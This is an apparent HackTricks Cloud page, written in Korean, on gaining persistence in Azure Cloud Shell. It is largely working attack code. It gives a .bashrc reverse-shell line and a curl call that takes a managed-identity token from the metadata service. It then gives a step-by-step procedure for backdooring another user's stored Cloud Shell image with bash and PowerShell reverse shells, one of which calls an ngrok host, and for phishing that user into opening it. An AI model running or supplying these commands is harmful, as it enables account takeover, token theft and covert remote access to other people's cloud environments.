Az - Cloud Shell Persistence
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cloud Shell Persistence
Azure Cloud Shell은 지속적인 저장소와 자동 인증을 통해 Azure 리소스를 관리할 수 있는 명령줄 액세스를 제공합니다. 공격자는 지속적인 홈 디렉토리에 백도어를 배치하여 이를 악용할 수 있습니다:
- Persistent Storage: Azure Cloud Shell의 홈 디렉토리는 Azure 파일 공유에 마운트되며 세션이 종료된 후에도 intact하게 유지됩니다.
- Startup Scripts:
.bashrc
또는config/PowerShell/Microsoft.PowerShell_profile.ps1
와 같은 파일은 각 세션 시작 시 자동으로 실행되어 클라우드 셸이 시작될 때 지속적인 실행을 허용합니다.
Example backdoor in .bashrc:
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
이 백도어는 사용자가 클라우드 셸을 종료한 후에도 5분 동안 명령을 실행할 수 있습니다.
또한 Azure의 메타데이터 서비스에 인스턴스 세부정보 및 토큰을 쿼리합니다:
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
Cloud Shell Phishing
공격자가 읽기 및 쓰기 권한이 있는 Storage Account에서 다른 사용자의 이미지를 찾으면, 이미지를 다운로드하고, bash 및 PS 백도어를 추가한 후, 다시 Storage Account에 업로드하여 사용자가 다음에 셸에 접근할 때 명령이 자동으로 실행되도록 할 수 있습니다.
- 이미지를 다운로드하고, 백도어를 추가한 후 업로드:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img
# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Unmount
cd /tmp
sudo umount /tmp/backdoor_img
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
- 그런 다음, 사용자를 피싱하여 https://shell.azure.com/에 접근하게 하십시오.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.